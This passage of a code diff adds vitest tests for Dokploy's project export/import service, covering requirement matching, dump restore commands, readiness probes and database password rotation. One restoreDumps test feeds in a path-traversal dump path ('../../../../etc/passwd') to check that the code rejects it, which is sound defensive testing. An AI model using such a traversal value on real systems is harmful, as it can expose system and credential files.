const serverReqs = requirements.filter((r) => r.kind === "server");
expect(serverReqs).toHaveLength(1);
expect(serverReqs[0]?.usedBy).toHaveLength(2);
});
it("only scans services actually within scope.serviceIds", async () => {
const included = {
...baseApplication,
applicationId: "app-included",
githubId: "gh-1",
owner: "acme",
repository: "included-repo",
};
const excluded = {
...baseApplication,
applicationId: "app-excluded",
githubId: "gh-1",
owner: "acme",
repository: "excluded-repo",
};
const tree = buildTree(included) as any;
tree.environments[0].applications.push(excluded);
const requirements = await detectRequirements(fakeDb(), tree, {
...baseScope,
serviceIds: ["app-included"],
});
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
expect(gitReqs).toHaveLength(1);
expect((gitReqs[0] as any).repositories).toEqual([
{ owner: "acme", repo: "included-repo" },
]);
});
});
@@ -0,0 +1,285 @@
import { createHash } from "node:crypto";
import type {
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
LOCAL_SERVER_CANDIDATE_ID,
proposeResolutions,
requirementKey,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const CERT_FINGERPRINT = createHash("sha256")
.update("cert-data-1")
.digest("hex");
const vaultRequirement: Requirement = {
kind: "vault",
originalId: "vault-src",
configIncluded: false,
usedBy: [],
providerName: "prod",
providerType: "hashicorp",
secretKeys: [],
};
const gitProviderRequirement: Requirement = {
kind: "gitProvider",
originalId: "gh-src",
configIncluded: false,
usedBy: [],
providerType: "github",
repositories: [],
};
const destinationRequirement: Requirement = {
kind: "destination",
originalId: "dest-src",
configIncluded: true,
usedBy: [],
bucket: "my-bucket",
endpoint: "https://s3.example.com",
region: "us-east-1",
};
const registryRequirement: Requirement = {
kind: "registry",
originalId: "reg-src",
configIncluded: true,
usedBy: [],
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
role: ["registry"],
};
const sshKeyRequirement: Requirement = {
kind: "sshKey",
originalId: "key-src",
configIncluded: true,
usedBy: [],
publicKey: "ssh-ed25519 AAAAtest",
};
const networkRequirement: Requirement = {
kind: "network",
originalId: "net-src",
configIncluded: false,
usedBy: [],
name: "my-network",
};
const certificateRequirement: Requirement = {
kind: "certificate",
originalId: "cert-src",
configIncluded: false,
usedBy: [],
fingerprint: CERT_FINGERPRINT,
serverId: null,
};
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src",
configIncluded: false,
usedBy: [],
};
const requirements: Requirement[] = [
vaultRequirement,
gitProviderRequirement,
destinationRequirement,
registryRequirement,
sshKeyRequirement,
networkRequirement,
certificateRequirement,
serverRequirement,
];
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: { project: {}, environments: [], services: [], shared: {} },
requirements,
warnings: [],
dumps: [],
};
const fakeDb = (): TransferDb =>
({
query: {
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-dest-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-dest",
},
],
},
gitProvider: {
findMany: async () => [
{
gitProviderId: "gh-dest-1",
name: "Acme GitHub",
providerType: "github",
organizationId: "org-dest",
},
],
},
destinations: { findMany: async () => [] },
registry: {
findMany: async () => [
{
registryId: "reg-dest-1",
registryName: "Acme Registry",
registryUrl: "https://other.example.com",
imagePrefix: "other",
organizationId: "org-dest",
},
],
},
sshKeys: {
findMany: async () => [
{
sshKeyId: "key-dest-1",
name: "deploy key",
publicKey: "ssh-ed25519 AAAAtest",
organizationId: "org-dest",
},
],
},
network: {
findMany: async () => [
{
networkId: "net-dest-1",
name: "other-network",
organizationId: "org-dest",
},
],
},
certificates: { findMany: async () => [] },
server: {
findMany: async () => [
{
serverId: "server-dest-1",
name: "prod-server",
organizationId: "org-dest",
},
],
},
},
}) as any as TransferDb;
describe("proposeResolutions", () => {
it("resolves vault by name + providerType match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(vaultRequirement)]).toEqual({
status: "resolved",
targetId: "vault-dest-1",
});
});
it("never auto-resolves gitProvider, always mappable/missing by type", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(gitProviderRequirement)]).toEqual({
status: "mappable",
candidates: [{ id: "gh-dest-1", name: "Acme GitHub" }],
});
});
it("proposes createable for destination when configIncluded and no match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(destinationRequirement)]).toEqual({
status: "createable",
candidates: [],
});
});
it("proposes createable for registry with existing-org candidates attached when no exact match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(registryRequirement)]).toEqual({
status: "createable",
candidates: [{ id: "reg-dest-1", name: "Acme Registry" }],
});
});
it("resolves sshKey by exact publicKey match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(sshKeyRequirement)]).toEqual({
status: "resolved",
targetId: "key-dest-1",
});
});
it("proposes mappable for network when configIncluded is false and no exact match but candidates exist", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(networkRequirement)]).toEqual({
status: "mappable",
candidates: [{ id: "net-dest-1", name: "other-network" }],
});
});
it("resolves certificate by recomputed fingerprint match", async () => {
const withMatchingCert: TransferDb = {
query: {
...(fakeDb() as any).query,
certificates: {
findMany: async () => [
{
certificateId: "cert-dest-1",
name: "prod cert",
certificateData: "cert-data-1",
organizationId: "org-dest",
},
],
},
},
} as any;
const result = await proposeResolutions(
withMatchingCert,
snapshot,
"org-dest",
);
expect(result[requirementKey(certificateRequirement)]).toEqual({
status: "resolved",
targetId: "cert-dest-1",
});
});
it("proposes missing for certificate when no fingerprint match and configIncluded is false", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(certificateRequirement)]).toEqual({
status: "missing",
});
});
it("is always mappable for server, offering the local-server sentinel alongside org servers", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(serverRequirement)]).toEqual({
status: "mappable",
candidates: [
{ id: LOCAL_SERVER_CANDIDATE_ID, name: "Local server" },
{ id: "server-dest-1", name: "prod-server" },
],
});
});
});
@@ -0,0 +1,368 @@
import type {
Snapshot,
TransferDb,
TransferResult,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it, vi } from "vitest";
const { failRestoreBox } = vi.hoisted(() => ({
failRestoreBox: { value: false },
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsync: vi.fn(async (command: string) => {
if (command.includes("pg_restore") && failRestoreBox.value) {
throw new Error("restore failed");
}
return { stdout: "", stderr: "" };
}),
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock(
"@dokploy/server/services/project-export-import/remote-fs",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import/remote-fs")
>();
return {
...actual,
copyFile: vi.fn(async () => {}),
remove: vi.fn(async () => {}),
};
},
);
const {
restoreDumps,
buildRestoreCommand,
buildWaitReadyScript,
buildReadyProbe,
waitUntilReady,
} = await import("@dokploy/server/services/project-export-import");
const { remove, copyFile } = await import(
"@dokploy/server/services/project-export-import/remote-fs"
);
describe("buildRestoreCommand", () => {
it("pipes decompressed bytes into the restore command for postgres", () => {
const command = buildRestoreCommand(
"postgres",
{
appName: "my-db-abc123",
databaseName: "mydb",
databaseUser: "dokploy",
},
"/tmp/dokploy-import-restore-pg-1.sql.gz",
);
expect(command).toContain(
"gunzip -c '/tmp/dokploy-import-restore-pg-1.sql.gz'",
);
expect(command).toContain("pg_restore");
expect(command).toContain("my-db-abc123");
});
it("uses the mysql root password, not databasePassword, for the restore command", () => {
const command = buildRestoreCommand(
"mysql",
{
appName: "my-mysql-abc123",
databaseName: "mydb",
databasePassword: "not-the-root-password",
databaseRootPassword: "the-real-root-password",
},
"/tmp/dokploy-import-restore-mysql-1.sql.gz",
);
expect(command).toContain("the-real-root-password");
expect(command).not.toContain("not-the-root-password");
});
it("strips USE/CREATE DATABASE statements for mariadb (multi-db dump safety)", () => {
const command = buildRestoreCommand(
"mariadb",
{
appName: "my-mariadb-abc123",
databaseName: "mydb",
databaseUser: "dokploy",
databasePassword: "pass",
},
"/tmp/dokploy-import-restore-mariadb-1.sql.gz",
);
expect(command).toContain("grep -viE");
});
it("restores the whole mongo archive through stdin, skipping admin/config, with --drop", () => {
const command = buildRestoreCommand(
"mongo",
{
appName: "my-mongo-abc123",
databaseUser: "dokploy",
databasePassword: "pass",
},
"/tmp/dokploy-import-restore-mongo-1.archive.gz",
);
expect(command).toContain(
'mongorestore -u "$DB_USER" -p "$DB_PASS" --authenticationDatabase admin --nsExclude "admin.*" --nsExclude "config.*" --archive --gzip --drop',
);
expect(command).toContain(
"< '/tmp/dokploy-import-restore-mongo-1.archive.gz'",
);
expect(command).not.toContain("--db");
});
});
describe("buildRestoreCommand for libsql", () => {
it("replaces sqld's data directory from the tarball and restarts the service", () => {
const command = buildRestoreCommand(
"libsql",
{ appName: "my-libsql-abc123" },
"/tmp/dokploy-import-restore-l.tar.gz",
);
expect(command).toContain(
"rm -rf /var/lib/sqld/iku.db && tar xzf - -C /var/lib/sqld",
);
expect(command).toContain("< '/tmp/dokploy-import-restore-l.tar.gz'");
expect(command).toContain(
"docker service update --force 'my-libsql-abc123'",
);
});
});
describe("buildReadyProbe", () => {
it("runs a credentialed query rather than a liveness ping", () => {
expect(
buildReadyProbe("postgres", { databaseUser: "u", databaseName: "d" }),
).toBe('psql -U u -d d -tAc "SELECT 1"');
expect(
buildReadyProbe("mysql", { databaseRootPassword: "r00t" }),
).toContain("mysql -uroot --password=r00t");
expect(
buildReadyProbe("mariadb", { databaseUser: "u", databasePassword: "p" }),
).toContain("mariadb -uu --password=p");
expect(
buildReadyProbe("mongo", {
databaseUser: "u",
databasePassword: "p",
databaseName: "d",
}),
).toContain(
'then mongosh --quiet -u u -p p --authenticationDatabase admin --eval "db.adminCommand({ping: 1}).ok"; else mongo ',
);
});
});
describe("waitUntilReady", () => {
it("needs consecutive successes so a first-init throwaway server doesn't count", async () => {
const { execAsync } = await import(
"@dokploy/server/utils/process/execAsync"
);
const previous = (execAsync as any).getMockImplementation();
const outcomes = [true, true, false, true, true, true];
let calls = 0;
(execAsync as any).mockImplementation(async (command: string) => {
if (!command.includes("SELECT 1")) return { stdout: "", stderr: "" };
const ok = outcomes[calls++] ?? true;
if (!ok) throw new Error("the database system is shutting down");
return { stdout: "1", stderr: "" };
});
try {
await waitUntilReady(null, "db-app", 'psql -tAc "SELECT 1"', {
intervalMs: 0,
stableSuccesses: 3,
});
} finally {
(execAsync as any).mockImplementation(previous);
}
expect(calls).toBe(6);
});
});
describe("buildWaitReadyScript", () => {
it("guards against an empty CONTAINER_ID before exec'ing the probe", () => {
const script = buildWaitReadyScript("my-db-abc123", "pg_isready");
expect(script).toContain('if [ -z "$CONTAINER_ID" ]; then exit 1; fi');
expect(script).toContain("docker exec");
expect(script).toContain("pg_isready");
});
});
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 100,
},
],
};
const dbFor = (): TransferDb =>
({
query: {
postgres: {
findFirst: async () => ({
postgresId: "pg-new-1",
appName: "my-db-new-1",
databaseName: "mydb",
databaseUser: "dokploy",
databasePassword: "p",
serverId: null,
}),
},
destinations: { findFirst: async () => undefined },
},
}) as any as TransferDb;
const resultFor = (): TransferResult =>
({
idMap: { postgres: { "pg-1": "pg-new-1" } },
}) as any as TransferResult;
describe("restoreDumps uses the workspace dump directly when it already sits on the target server", () => {
it("neither copies nor removes anything and restores from the workspace path", async () => {
failRestoreBox.value = false;
vi.mocked(remove).mockClear();
vi.mocked(copyFile).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: null, path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(0);
expect(copyFile).not.toHaveBeenCalled();
expect(remove).not.toHaveBeenCalled();
});
});
describe("restoreDumps cleans up the copied remote dump file (T-5.8)", () => {
it("removes the remote dump path after a successful restore", async () => {
failRestoreBox.value = false;
vi.mocked(remove).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(0);
expect(remove).toHaveBeenCalledWith({
serverId: null,
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
});
});
it("still removes the remote dump path when the restore command itself fails", async () => {
failRestoreBox.value = true;
vi.mocked(remove).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(1);
expect(remove).toHaveBeenCalledWith({
serverId: null,
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
});
failRestoreBox.value = false;
});
});
describe("restoreDumps rejects an unsafe dump.path (T-9.1)", () => {
it("never copies the dump and reports a restore error for a path-traversal dump.path", async () => {
vi.mocked(copyFile).mockClear();
const maliciousSnapshot: Snapshot = {
...snapshot,
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "../../../../etc/passwd",
bytes: 100,
},
],
};
const errors = await restoreDumps(
dbFor(),
maliciousSnapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(copyFile).not.toHaveBeenCalled();
expect(errors).toHaveLength(1);
expect(errors[0]?.error).toContain("Unsafe path in bundle");
});
});
@@ -0,0 +1,548 @@
import {
applications,
mounts,
postgres,
projects,
} from "@dokploy/server/db/schema";
import type {
ExportScope,
Plan,
Snapshot,
TransferDb,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
buildPlan,
buildRotationPlan,
capture,
detectRequirements,
detectWarnings,
rotateText,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("rotateText", () => {
it("replaces both the literal and URL-encoded form of the old password", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "p@ss",
newPassword: "n3wpass",
},
];
const { text, matched } = rotateText(
"DATABASE_URL=postgres://user:p%40ss@host/db",
specs,
);
expect(text).toBe("DATABASE_URL=postgres://user:n3wpass@host/db");
expect(matched).toHaveLength(1);
expect(matched[0]?.count).toBe(1);
});
it("counts multiple literal occurrences across the text", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "oldpass",
newPassword: "newpass",
},
];
const { text, matched } = rotateText(
"A=oldpass\nB=oldpass\nC=unrelated",
specs,
);
expect(text).toBe("A=newpass\nB=newpass\nC=unrelated");
expect(matched[0]?.count).toBe(2);
});
it("leaves text untouched and reports no match when the password isn't present", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "oldpass",
newPassword: "newpass",
},
];
const { text, matched } = rotateText("nothing to see here", specs);
expect(text).toBe("nothing to see here");
expect(matched).toHaveLength(0);
});
it("processes the longer old password first so a short password isn't spliced into a longer, unrelated one", () => {
const specs = [
{
serviceId: "svc-a",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "secret",
newPassword: "A_NEW",
},
{
serviceId: "svc-b",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "mysecret123",
newPassword: "B_NEW",
},
];
const { text } = rotateText(
"A=secret\nB=postgres://u:mysecret123@host/db",
specs,
);
expect(text).toBe("A=A_NEW\nB=postgres://u:B_NEW@host/db");
});
});
describe("buildRotationPlan", () => {
it("gives databasePassword and databaseRootPassword the same new value when the source used the same value for both", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "mysql-new-1",
databasePassword: "sharedpass",
databaseRootPassword: "sharedpass",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "mysql",
mysqlId: "mysql-old-1",
},
],
},
} as any;
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
expect(specs).toHaveLength(2);
const appSpec = specs.find((s) => s.field === "databasePassword");
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
expect(appSpec?.newPassword).toBeDefined();
expect(appSpec?.newPassword).toBe(rootSpec?.newPassword);
const { text } = rotateText(
"MYSQL_ROOT_PASSWORD=sharedpass\nMYSQL_PASSWORD=sharedpass",
specs,
);
expect(text).toBe(
`MYSQL_ROOT_PASSWORD=${rootSpec?.newPassword}\nMYSQL_PASSWORD=${appSpec?.newPassword}`,
);
});
it("keeps a password that is too short or equal to the user/name and reports it", async () => {
const tx = {
query: {
postgres: {
findFirst: async () => ({
postgresId: "pg-new-1",
databaseUser: "app",
databaseName: "app",
databasePassword: "app",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "postgres",
postgresId: "pg-old-1",
name: "db",
environmentId: "env-1",
},
],
},
} as any;
const { specs, unsafe } = await buildRotationPlan(tx, snapshot, {
postgres: { "pg-old-1": "pg-new-1" },
});
expect(specs).toHaveLength(0);
expect(unsafe).toEqual([
expect.objectContaining({
serviceId: "pg-new-1",
serviceType: "postgres",
}),
]);
});
it("still generates independent new passwords when app and root passwords differ", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "mysql-new-1",
databasePassword: "app-pass",
databaseRootPassword: "root-pass",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [{ kind: "mysql", mysqlId: "mysql-old-1" }],
},
} as any;
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
const appSpec = specs.find((s) => s.field === "databasePassword");
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
expect(appSpec?.newPassword).not.toBe(rootSpec?.newPassword);
});
});
const applicationWithDbRef = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://u:realdbpassword123@db/mydb",
buildArgs: "BUILD_DB_PASS=realdbpassword123",
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "password = realdbpassword123",
mountPath: "/etc/app.conf",
serviceType: "application",
createdAt: "2024-01-01",
},
],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const applicationWithoutDbRef = {
...applicationWithDbRef,
applicationId: "app-2",
appName: "my-app-two-def456",
name: "my-app-two",
env: "UNRELATED=1",
buildArgs: null,
mounts: [],
};
const postgresService = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-src",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [applicationWithDbRef, applicationWithoutDbRef],
postgres: [postgresService],
...emptyServiceArrays,
},
],
};
const readDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: {
findMany: async () => [applicationWithDbRef, applicationWithoutDbRef],
findFirst: async () => undefined,
},
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: { findMany: async () => [] },
registry: { findMany: async () => [] },
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
gitProvider: { findMany: async () => [] },
server: {
findMany: async () => [],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
sshKeys: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const runApplyForRotationTest = async (rotateDatabaseCredentials: boolean) => {
const db = readDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: baseScope,
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: captureResult.inventory.totals,
},
resources: captureResult.resources,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
};
const plan: Plan = await buildPlan(
db,
snapshot,
"org-dest",
{ kind: "newProject", name: "imported-project" },
{ rotateDatabaseCredentials },
);
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const idFieldByTable = new Map<unknown, string>([
[projects, "projectId"],
[applications, "applicationId"],
[postgres, "postgresId"],
[mounts, "mountId"],
]);
const environmentsTable = (await import("@dokploy/server/db/schema"))
.environments;
idFieldByTable.set(environmentsTable, "environmentId");
const writeDb = {
query: {
vaultProvider: { findFirst: async () => undefined },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
applications: {
findFirst: async () => (insertedByTable.get(applications) ?? [])[0],
},
postgres: {
findFirst: async () => (insertedByTable.get(postgres) ?? [])[0],
},
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: {
findMany: async (args?: { where?: unknown }) =>
(insertedByTable.get(mounts) ?? []).filter((row) =>
args?.where ? row.type === "file" : true,
),
},
projects: {
findFirst: async () => (insertedByTable.get(projects) ?? [])[0],
},
environments: {
findFirst: async () =>
(insertedByTable.get(environmentsTable) ?? [])[0],
},
compose: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const idField = idFieldByTable.get(table);
const row = { ...values };
if (idField) {
row[idField] =
(values[idField] as string | undefined) ??
`new-${idField}-${++counter}`;
}
const list = insertedByTable.get(table) ?? [];
list.push(row);
insertedByTable.set(table, list);
return { returning: async () => [row] };
},
}),
update: (table: unknown) => ({
set: (values: Record<string, unknown>) => ({
where: async (condition: any) => {
const chunks = condition?.queryChunks ?? [];
const paramChunk = chunks.find(
(c: any) => c?.constructor?.name === "Param",
);
const columnChunk = chunks.find(
(c: any) => typeof c?.name === "string",
);
const list = insertedByTable.get(table) ?? [];
for (const row of list) {
if (
!columnChunk ||
!paramChunk ||
row[columnChunk.name] === paramChunk.value
) {
Object.assign(row, values);
}
}
},
}),
}),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
return fn({ ...writeDb });
},
} as any as TransferWriteDb;
const result = await apply(
writeDb,
snapshot,
plan,
captureResult.secretsPlain,
"org-dest",
);
return {
result,
insertedPostgres: (insertedByTable.get(postgres) ?? [])[0] as Record<
string,
unknown
>,
insertedApps: insertedByTable.get(applications) ?? [],
insertedMounts: insertedByTable.get(mounts) ?? [],
};
};
describe("apply() with rotateDatabaseCredentials (opt-in)", () => {
it("rotates the postgres password, rewrites the referencing app's env, build args and file mount, and warns about the app with no reference", async () => {
const { result, insertedPostgres, insertedApps, insertedMounts } =
await runApplyForRotationTest(true);
expect(insertedPostgres.databasePassword).not.toBe("realdbpassword123");
expect(typeof insertedPostgres.databasePassword).toBe("string");
const referencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-1"],
);
const nonReferencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-2"],
);
expect(String(referencingApp?.env)).toContain(
String(insertedPostgres.databasePassword),
);
expect(String(referencingApp?.env)).not.toContain("realdbpassword123");
expect(String(referencingApp?.buildArgs)).toBe(
`BUILD_DB_PASS=${insertedPostgres.databasePassword}`,
);
expect(String(insertedMounts[0]?.content)).toBe(
`password = ${insertedPostgres.databasePassword}`,
);
expect(String(nonReferencingApp?.env)).toBe("UNRELATED=1");
expect(result.rotations).toHaveLength(1);
expect(result.rotations[0]).toMatchObject({
field: "databasePassword",
occurrences: 3,
});
expect(
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
).toBe(true);
});
it("leaves the password untouched when rotateDatabaseCredentials is false (the default)", async () => {
const { result, insertedPostgres, insertedApps } =
await runApplyForRotationTest(false);
expect(insertedPostgres.databasePassword).toBe("realdbpassword123");
const referencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-1"],
);
expect(String(referencingApp?.env)).toContain("realdbpassword123");
expect(result.rotations).toHaveLength(0);
expect(
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
).toBe(false);
});
});
@@ -0,0 +1,444 @@
import { mkdtemp, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
applications,
compose,
domains,
mounts,
ports,
projects,
registry,
schedules,
security,
} from "@dokploy/server/db/schema";
import type {
ExportScope,
TransferDb,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
buildPlan,
capture,
detectRequirements,
detectWarnings,
inspectBundle,
LOCAL_SERVER_CANDIDATE_ID,
serialize,
unlockBundle,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: "registry-src-1",
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "server { listen 80; }",
mountPath: "/etc/nginx/nginx.conf",
serviceType: "application",
createdAt: "2024-01-01",
},
],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpass",
createdAt: "2024-01-01",
},
],
ports: [
{
portId: "port-1",
publishedPort: 8080,
publishMode: "host",
targetPort: 80,
protocol: "tcp",
},
],
schedules: [],
volumeBackups: [],
};
const composeService = {
composeId: "compose-1",
name: "my-compose",
appName: "my-compose-def456",
environmentId: "env-1",
env: "",
serverId: null,
composeFile: "services:\n web:\n image: nginx\n",
sourceType: "raw",
composeType: "docker-compose",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
backups: [],
schedules: [
{
scheduleId: "schedule-1",
name: "nightly-restart",
cronExpression: "0 0 * * *",
shellType: "bash",
scheduleType: "compose",
command: "docker compose restart",
createdAt: "2024-01-01T00:00:00.000Z",
},
],
volumeBackups: [],
};
const emptyServiceArrays = {
postgres: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
const projectTree = {
